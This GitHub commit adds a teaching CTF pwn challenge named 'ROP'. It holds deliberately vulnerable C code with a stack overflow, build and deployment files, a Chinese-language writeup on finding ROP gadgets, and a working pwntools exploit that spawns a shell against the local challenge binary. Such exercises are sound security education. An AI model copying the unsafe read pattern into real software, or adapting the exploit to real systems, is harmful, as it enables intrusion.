-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
9 changed files
with
387 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,76 @@ | ||
name: Challenge ROP | ||
|
||
on: | ||
push: | ||
branches: ["main", "pwn/rop"] | ||
paths: | ||
- "!**/README.md" | ||
- "challenges/pwn/rop/build/**" | ||
workflow_dispatch: | ||
|
||
env: | ||
TYPE: pwn | ||
NAME: rop | ||
BRANCH: pwn/rop | ||
EXECUTABLE: /home/ctf/rop | ||
REGISTRY: ghcr.io | ||
|
||
jobs: | ||
challenge-build: | ||
runs-on: ubuntu-latest | ||
permissions: | ||
contents: write | ||
packages: write | ||
|
||
steps: | ||
- name: Checkout repository | ||
uses: actions/checkout@v4 | ||
|
||
- name: Set up Docker Buildx | ||
uses: docker/setup-buildx-action@v3 | ||
|
||
- name: Log in to the Container registry | ||
uses: docker/login-action@v3 | ||
with: | ||
registry: ${{ env.REGISTRY }} | ||
username: ${{ github.actor }} | ||
password: ${{ secrets.GITHUB_TOKEN }} | ||
|
||
- name: Extract metadata (tags, labels) for Docker | ||
id: meta | ||
uses: docker/metadata-action@v5 | ||
with: | ||
images: ${{ env.REGISTRY }}/${{ github.repository }}/${{ env.NAME }} | ||
tags: | | ||
type=raw,value=latest | ||
- name: Build and push Docker image | ||
uses: docker/build-push-action@v4 | ||
with: | ||
context: challenges/${{ env.TYPE }}/${{ env.NAME }}/build | ||
tags: ${{ steps.meta.outputs.tags }} | ||
labels: ${{ steps.meta.outputs.labels }} | ||
push: true | ||
|
||
- name: Extract executable from Docker image | ||
run: | | ||
docker create --name temp ${{ steps.meta.outputs.tags }} | ||
mkdir -p ./challenges/${{ env.TYPE }}/${{ env.NAME }}/attachments | ||
if [ ! -z "${{ env.EXECUTABLE }}" ]; then | ||
docker cp temp:${{ env.EXECUTABLE }} ./challenges/${{ env.TYPE }}/${{ env.NAME }}/attachments/ | ||
fi | ||
if [ ! -z "${{ env.LIBC }}" ]; then | ||
docker cp temp:${{ env.LIBC }} ./challenges/${{ env.TYPE }}/${{ env.NAME }}/attachments/ | ||
fi | ||
if [ ! -z "${{ env.LD }}" ]; then | ||
docker cp temp:${{ env.LD }} ./challenges/${{ env.TYPE }}/${{ env.NAME }}/attachments/ | ||
fi | ||
docker rm temp | ||
- name: Commit and push changes | ||
run: | | ||
git config --local user.email "action@github.com" | ||
git config --local user.name "GitHub Action" | ||
git add ./challenges/${{ env.TYPE }}/${{ env.NAME }}/attachments/ | ||
git diff --staged --quiet || git commit -m "chore(${{ env.BRANCH }}): update attachments [skip ci]" | ||
git push |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,169 @@ | ||
--- | ||
title: ROP | ||
author: 13m0n4de | ||
difficulty: Medium | ||
category: Pwn | ||
image: ghcr.io/svuctf/svuctf-helloworld-2024/rop:latest | ||
port: 70 | ||
writeup_author: pn1fg | ||
tags: | ||
- rop | ||
reference: | ||
--- | ||
|
||
# ROP | ||
|
||
## 题目描述 | ||
|
||
## 题目解析 | ||
|
||
### 查看文件信息 | ||
|
||
查看文件类型: | ||
|
||
``` | ||
$ file rop | ||
rop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=caa5a8688811dbd2d1f955cef1033593ff3f9c0d, for GNU/Linux 3.2.0, not stripped | ||
``` | ||
|
||
64位 ELF 文件,动态链接,没有去除符号。 | ||
|
||
查看保护机制: | ||
|
||
``` | ||
$ checksec --file=rop | ||
RELRO Partial RELRO | ||
STACK CANARY No canary found | ||
NX NX enabled | ||
PIE No PIE | ||
RPATH No RPATH | ||
RUNPATH No RUNPATH | ||
Symbols 74 Symbols | ||
FORTIFY No | ||
Fortified 0 | ||
Fortifiable 1 | ||
FILE ret2text64 | ||
``` | ||
|
||
NX 保护。 | ||
|
||
### 分析漏洞成因 | ||
|
||
反编译 `vuln` 函数: | ||
|
||
```c | ||
[0x00401130]> s sym.vuln | ||
[0x0040135a]> pdg | ||
|
||
ssize_t vuln() | ||
{ | ||
char buf[64]; // [rsp+0h] [rbp-40h] BYREF | ||
|
||
system("echo \"Hello CTFer, what's your name?\""); | ||
return read(0, buf, 0x100uLL); | ||
} | ||
``` | ||
|
||
很明显的栈溢出,`buf` 大小只有 0x40,但是 `read` 函数读取了 0x100,还看到了 `system` 函数,但可惜的是这里的 `system` 并没有执行 `/bin/sh`,所以我们无法直接跳转至此。 | ||
|
||
列出所有函数: | ||
|
||
``` | ||
[0x00401130]> afl | ||
0x004010b0 1 11 sym.imp.putchar | ||
0x004010c0 1 11 sym.imp.puts | ||
0x004010d0 1 11 sym.imp.system | ||
0x004010e0 1 11 sym.imp.close | ||
0x004010f0 1 11 sym.imp.read | ||
0x00401100 1 11 sym.imp.setvbuf | ||
0x00401110 1 11 sym.imp.open | ||
0x00401120 1 11 sym.imp.__isoc99_scanf | ||
0x00401130 1 46 entry0 | ||
0x00401170 4 31 sym.deregister_tm_clones | ||
0x004011a0 4 49 sym.register_tm_clones | ||
0x004011e0 3 32 sym.__do_global_dtors_aux | ||
0x00401210 1 6 sym.frame_dummy | ||
0x00401470 1 5 sym.__libc_csu_fini | ||
0x0040135a 1 110 sym.vuln | ||
0x004012d6 4 132 sym.b4ckd00r | ||
0x00401478 1 13 sym._fini | ||
0x0040127b 1 91 sym.banner | ||
0x00401216 1 101 sym.init | ||
0x00401400 4 101 sym.__libc_csu_init | ||
0x00401160 1 5 sym._dl_relocate_static_pie | ||
0x004013c8 1 45 main | ||
0x00401000 3 27 sym._init | ||
0x00401030 2 28 fcn.00401030 | ||
0x00401040 1 15 fcn.00401040 | ||
0x00401050 1 15 fcn.00401050 | ||
0x00401060 1 15 fcn.00401060 | ||
0x00401070 1 15 fcn.00401070 | ||
0x00401080 1 15 fcn.00401080 | ||
0x00401090 1 15 fcn.00401090 | ||
0x004010a0 1 15 fcn.004010a0 | ||
``` | ||
|
||
并没有发现后门函数。 | ||
|
||
这里给同学们介绍一个新的工具 [ROPgadget](https://github.com/JonathanSalwan/ROPgadget),它的可以精确的查找程序中的一些汇编指令或字符串,例如查找 `/bin/sh`: | ||
|
||
``` | ||
$ ROPgadget --binary=rop --string "/bin/sh" | ||
Strings information | ||
============================================================ | ||
0x0000000000404050 : /bin/sh | ||
``` | ||
|
||
很明显程序中存在 `/bin/sh` 这个字符串,那我们只需要控制程序执行流调用 `system` 函数执行 `/bin/sh` 即可。 | ||
|
||
[上一题](../ret2text64/README.md)我们讲述过 64 位程序传参需要通过寄存器,ROPgadget 也可以用来寻找修改寄存器的指令(`pop` + `ret`): | ||
|
||
```asm | ||
$ ROPgadget --binary=rop --only 'pop|ret' | ||
Gadgets information | ||
============================================================ | ||
0x000000000040133c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret | ||
0x000000000040133e : pop r13 ; pop r14 ; pop r15 ; ret | ||
0x0000000000401340 : pop r14 ; pop r15 ; ret | ||
0x0000000000401342 : pop r15 ; ret | ||
0x000000000040133b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret | ||
0x000000000040133f : pop rbp ; pop r14 ; pop r15 ; ret | ||
0x000000000040119d : pop rbp ; ret | ||
0x0000000000401343 : pop rdi ; ret | ||
0x0000000000401341 : pop rsi ; pop r15 ; ret | ||
0x000000000040133d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret | ||
0x000000000040101a : ret | ||
Unique gadgets found: 11 | ||
``` | ||
|
||
### 编写利用程序 | ||
|
||
[exp.py](./writeup/exp.py): | ||
|
||
```python | ||
from pwn import * | ||
|
||
context.arch = "amd64" | ||
context.log_level = "debug" | ||
|
||
elf = ELF("../attachments/rop") | ||
io = process("../attachments/rop") | ||
|
||
pop_rdi_ret = 0x00401343 | ||
ret = 0x0040101A | ||
|
||
payload = flat( | ||
[ | ||
cyclic(0x40), | ||
b"A" * 8, | ||
ret, | ||
pop_rdi_ret, | ||
elf.sym["secret"], | ||
elf.sym["system"], | ||
] | ||
) | ||
io.sendafter(b"Hello CTFer, what's your name?\n", payload) | ||
|
||
io.interactive() | ||
``` |
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,48 @@ | ||
FROM ubuntu:20.04 AS builder | ||
|
||
RUN apt-get update && apt-get install -y gcc make | ||
|
||
WORKDIR /build | ||
|
||
COPY src/* ./ | ||
|
||
RUN make | ||
|
||
FROM ghcr.io/svuctf/base-v2/xinetd:latest | ||
|
||
# Copy initialization script and xinetd configuration | ||
COPY --chmod=500 init.sh /init.sh | ||
COPY xinetd.conf /etc/xinetd.conf | ||
|
||
# Set up the CTF environment | ||
RUN chmod -R 750 /home/ctf && \ | ||
mkdir -p /home/ctf/lib64 && \ | ||
mkdir -p /home/ctf/dev && \ | ||
mkdir -p /home/ctf/bin && \ | ||
mkdir -p /home/ctf/lib/x86_64-linux-gnu && \ | ||
mkdir -p /home/ctf/lib32 | ||
|
||
# Copy necessary libraries from builder stage | ||
COPY --from=builder /lib/x86_64-linux-gnu/libc.so.6 /home/ctf/lib/x86_64-linux-gnu/ | ||
COPY --from=builder /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /home/ctf/lib64/ | ||
|
||
# Copy the challenge binary | ||
COPY --from=builder --chmod=500 /build/rop /home/ctf/rop | ||
|
||
# Set up device nodes | ||
RUN mknod /home/ctf/dev/null c 1 3 && \ | ||
mknod /home/ctf/dev/zero c 1 5 && \ | ||
mknod /home/ctf/dev/random c 1 8 && \ | ||
mknod /home/ctf/dev/urandom c 1 9 && \ | ||
chmod 666 /home/ctf/dev/* | ||
|
||
# Copy necessary binaries abd binaries | ||
RUN cp /lib/ld-musl-x86_64.so.1 /home/ctf/lib/ && \ | ||
cp /bin/sh /home/ctf/bin && \ | ||
cp /bin/ls /home/ctf/bin && \ | ||
cp /bin/cat /home/ctf/bin && \ | ||
cp /bin/base64 /home/ctf/bin | ||
|
||
RUN chown -R ctf:ctf /home/ctf | ||
|
||
CMD ["xinetd", "-dontfork"] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
#!/bin/sh | ||
|
||
echo $GZCTF_FLAG > /home/ctf/flag | ||
chown -R ctf:ctf /home/ctf/flag | ||
unset GZCTF_FLAG | ||
|
||
/usr/sbin/chroot /home/ctf/ /rop |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
CC = gcc | ||
CFLAGS = -Wall -Wextra -Wpedantic -no-pie -fno-stack-protector -m64 | ||
|
||
TARGET = rop | ||
|
||
all: $(TARGET) | ||
|
||
$(TARGET): $(TARGET).c | ||
$(CC) $(CFLAGS) -o $@ $< | ||
|
||
clean: | ||
rm -f $(TARGET) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,34 @@ | ||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <unistd.h> | ||
|
||
char secret[] = "/bin/sh"; | ||
|
||
void init() { | ||
setvbuf(stdin, NULL, _IONBF, 0); | ||
setvbuf(stdout, NULL, _IONBF, 0); | ||
setvbuf(stderr, NULL, _IONBF, 0); | ||
} | ||
|
||
void banner() { | ||
printf(" ___ _ _ __ __ ___ ____ ____ \n"); | ||
printf("/ __)( \\/ )( )( )/ __)(_ _)( ___)\n"); | ||
printf("\\__ \\ \\ / )(__)(( (__ )( )__) \n"); | ||
printf("(___/ \\/ (______)\\___) (__) (__) \n"); | ||
printf("\n"); | ||
printf("Welcome to the SVUCTF HELLOWORLD 2024!\n"); | ||
printf("\n"); | ||
} | ||
|
||
void vuln() { | ||
char buf[64]; | ||
system("echo \"Hello CTFer, what's your name?\""); | ||
read(0, &buf, 256); | ||
} | ||
|
||
int main() { | ||
init(); | ||
banner(); | ||
vuln(); | ||
return 0; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
service ctf | ||
{ | ||
disable = no | ||
id = xinetd | ||
socket_type = stream | ||
protocol = tcp | ||
wait = no | ||
user = root | ||
type = UNLISTED | ||
port = 70 | ||
bind = 0.0.0.0 | ||
server = /init.sh | ||
# safety options | ||
per_source = 10 # the maximum instances of this service per source IP address | ||
rlimit_cpu = 20 # the maximum number of CPU seconds that the service may use | ||
rlimit_as = 100M # the Address Space resource limit for the service | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,24 @@ | ||
from pwn import * | ||
|
||
context.arch = "amd64" | ||
context.log_level = "debug" | ||
|
||
elf = ELF("../attachments/rop") | ||
io = process("../attachments/rop") | ||
|
||
pop_rdi_ret = 0x00401343 | ||
ret = 0x0040101A | ||
|
||
payload = flat( | ||
[ | ||
cyclic(0x40), | ||
b"A" * 8, | ||
ret, | ||
pop_rdi_ret, | ||
elf.sym["secret"], | ||
elf.sym["system"], | ||
] | ||
) | ||
io.sendafter(b"Hello CTFer, what's your name?\n", payload) | ||
|
||
io.interactive() |